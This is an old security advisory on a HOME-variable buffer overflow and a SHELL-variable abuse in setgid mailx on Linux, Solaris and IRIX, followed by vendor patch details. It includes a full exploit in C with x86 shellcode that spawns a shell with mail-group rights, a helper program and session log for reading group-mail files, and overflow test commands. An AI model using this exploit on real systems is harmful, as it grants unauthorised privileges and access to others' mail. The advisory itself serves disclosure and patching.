COMMAND

    mailx

SYSTEMS AFFECTED

    Linux, Solaris, IRIX

PROBLEM

    Alvaro Martinez  Echevarria discovered  a rather  serious security
    hole in mailx, the good  old Berkeley mail program.   It's somehow
    present at least  in the last  versions I've checked  (mailx-8.1.1
    in Linux, mailx 5.0 in Solaris).  The bug is an exploitable buffer
    overflow (using  the HOME  environment variable)  that allows  any
    local user to acquire the privileges under which the program runs,
    usually group  "mail" (on  many of  the modern  versions mailx  is
    setgid  "mail").   So  the  bug  allows  you  to  get "mail" group
    privileges, and this means that  at least you can play  with other
    people's mail.   Although this  wouldn't be  very nice  from  you,
    this shouldn't be a big  problem for the integrity of  the system.
    But there could be a much more serious implication: being able  to
    write  in  /var/spool/mail  is  usually  an  open door to the root
    account, for  example by  using races  and such  in mail  delivery
    programs.  You  can check if  your particular version  of mailx is
    vulnerable through these steps:

	$ cp `which mailx` ./mailx
	$ HOME=`perl -e 'print "A"x10000'` ./mailx
	Segmentation fault (core dumped)
	$ gdb ./mailx core
	GNU gdb 4.17
	[...]
	#0  0x41414141 in ?? ()

    Here we go. By  the way, although in  Linux 2000 "A"s are  enough,
    in Solaris you'll need more (10000 worked for me).  It is verified
    that  Debian  GNU/Linux  (package  mailx-8.1.1-9  and previous) is
    vulnerable. Solaris 5.5.1 and 5.6 (mailx 5.0) also seem vulnerable
    after a couple of quick tests (so not 100% positive). Redhat Linux
    mailx  has  the  bug,  but  as  they  don't install it setgid mail
    there's no direct danger.

    The person who  tested the bug  under Solaris told  that he had  a
    hard  time  (Solaris  2.5.1).   It  is  documented  in Solaris bug
    database (#4152234):

	tcsh$ setenv HOME `perl -e 'print "A"x10000'`
	connection lost

    Seems like tcsh doesn't like huge homes like this. Second try:

	tsch$ exec sh
	sh$ HOME=`perl -e 'print "A"x10000'`
	sh$ which mailx
	Segmentation Fault (core dumped)

    However, following will do:

	env HOME=`perl -e 'print "x" x 10000'` ...

    Tcsh calls abort(). About the bug:it is in "fio.c", in the "xname"
    variable of  the "expand" function:

	char xname[PATHSIZE];
	[...]
	sprintf(xname, "%s%s", homedir, name + 1);

    It should be noted that homedir itself, at least on Solaris, is  a
    char  homedir[PATHSIZE]  which  is  copied  from  the environment.
    Exploit follows (tested under Debian):

    /*
     * mailxploit.c (Linux/i386)
     * Sat Jun 20 00:47:59 CEST 1998
     * Alvaro Martinez Echevarria <elguru@lander.es>
     * Exploit a buffer overrun in mailx using the environment variable
     * $HOME, to acquire "mail" group privileges (assuming that mailx
     * is installed setgid mail).
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>

    /*
     * The location of mailx.
     */
    #define MAILX  "/usr/bin/mail"
    /*
     * The gid for group mail (represented in a char, in hexadecimal).
     */
    #define GID    "\x08"

    #define DEFAULT_OFFSET                 2000
    #define DEFAULT_BUFFER_SIZE            1124
    #define NOP                            0x90

    char shellcode[] =
      /* seteuid(GID); setreuid(GID,GID); */
      "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
      "\x31\xdb\x31\xc9\xb3" GID "\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
      /* generic shell code by Aleph One */
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long
    get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    int
    main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;

      addr = get_sp() - offset;
      if ((buff=(char *)malloc(bsize))==NULL) {
	fprintf(stderr,"error in malloc()\n");
	exit(1);
      }

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
	*(addr_ptr++) = addr;
      for (i = 0; i < bsize/2; i++)
	buff[i] = NOP;
      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
	*(ptr++) = shellcode[i];
      buff[bsize - 1] = '\0';

      setenv("HOME",buff,1);
      execl(MAILX,MAILX,"-n","-f","~/patata",NULL);

      exit(0);

    }

    'segv'  found  more  problems  with  mailx  have been found. While
    browsing over the  source he found  the code that  handles the '!'
    command.

	if ((shell = value("SHELL")) == NOSTR)
	    shell = SHELL;
		execl(shell, shell, "-c", fname, 0);

    As  you  can  see  the  function  value()  grabs  the value of the
    envoriment variable  SHELL. Then  assigns the  pointer 'shell'  to
    point to the  value of SHELL.   Then call's execl(),  and executes
    the shell -c <command>. Therefore we can write some code  which
    simply dumps the output of a text file and in some cases (RedHat),
    the mailx program is sgid mail.. So we can read any files that are
    readble by the group mail (since mailx is sgid mail).

	------------
	vges@ux~$ cc -o m mailex.c
	vges@ux~$ export SHELL=./m
	vges@ux~$ mailx
	Mail version 5.5 6/1/90.  Type ? for help.
	"/var/spool/mail/root": 1 message 1 unread
	>U  1 root@ux.kdfdm.org     Sat Jun 27 03:59  14/351   "hi."
	& !hi
	hi this is a test.
	!
	& q
	------------

    // this is nothing special, it allows you to read files that are
    // readable by the group 'mail'.
    // feedback: segv <dan@rtfm.net>

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>

    void usage(char *prog);

    void main(int argc, char *argv[])
    {
	    char buffer[1024];
	    int fd, bytes;

	    if(argc != 3)
		    usage(argv[0]);

	    if((strcmp(argv[1],"-c")))
		    usage(argv[0]);
	    else {
		    if((fd=open(argv[2],O_RDONLY)) == -1) {
			    perror("open");
			    exit(1);
		    }
		    while((bytes=read(fd,buffer,sizeof(buffer))) > 0)
			    write(1,buffer,bytes);

		    close(fd);
	    }
	    exit(0);
    }

    void usage(char *prog)
    {
	    fprintf(stderr,"this program should be invoked by mailx\n");
	    fprintf(stderr,"remember to set the env var 'SHELL' to the\n");
	    fprintf(stderr,"name of this program.\n");
	    exit(1);
    }

SOLUTION

    The updated mailx packages released  by Red Hat on Monday  June 22
    for Red  Hat Linux  4.2, 5.0,  and 5.1  look like  they have  this
    fixed.  Go to:

	rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/mailx-8.1.1-3.i386.rpm
	rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/mailx-8.1.1-3.alpha.rpm
	rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/mailx-8.1.1-3.sparc.rpm

	rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/mailx-8.1.1-3.i386.rpm
	rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/mailx-8.1.1-3.alpha.rpm

	rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/mailx-8.1.1-0.2.i386.rpm
	rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/mailx-8.1.1-0.2.alpha.rpm
	rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/mailx-8.1.1-0.2.sparc.rpm

    As for Slackware, fix and patch are located at:

	ftp://ftp.cdrom.com/pub/linux/slackware/slakware/n3/mailx.tgz
	ftp://ftp.cdrom.com/pub/linux/slackware/source/n/mailx/mailx-overflow.diff.gz

    For SGI:

	OS Version     Vulnerable?     Patch #          Other Actions
	----------     -----------     -------          -------------
	IRIX 3.x          yes          not avail        Note 1, 2 & 3
	IRIX 4.x          yes          not avail        Note 1, 2 & 3
	IRIX 5.0.x        yes          not avail        Note 1, 2 & 3
	IRIX 5.1.x        yes          not avail        Note 1, 2 & 3
	IRIX 5.2          yes          not avail        Note 1, 2 & 3
	IRIX 5.3          yes           3347
	IRIX 6.0.x        yes          not avail        Note 1, 2 & 3
	IRIX 6.1          yes          not avail        Note 1, 2 & 3
	IRIX 6.2          yes           3348
	IRIX 6.3          yes           3394
	IRIX 6.4          yes           3394
	IRIX 6.5          yes          not avail        Note 4
	IRIX 6.5.1m       yes           3393            Note 5

    NOTES:

      1) Upgrade to currently supported IRIX operating system.
      2) Chage permissions.
      3) Unsupported by SGI, "freeware" sendmail distributions can  be
         found at http://www.sendmail.org/
      4) For IRIX 6.5, you  must first install IRIX 6.5.1  Maintenance
         Release  and  then  install  patch  3393.  If  you  have  not
         received an  IRIX 6.5.1m  CD for  IRIX 6.5,  contact your SGI
         Support  Provider  or  download  the Maintenance Release from
         http://support.sgi.com/
      5) Patchsets  have  been  replaced  with  quarterly  Maintenance
         Releases Streams  starting with  IRIX 6.5.  Information about
         Maintenance  Release  Streams  can  be  found in the IRIX 6.5
         Technical Brief at:  http://www.sgi.com/software/irix6.5/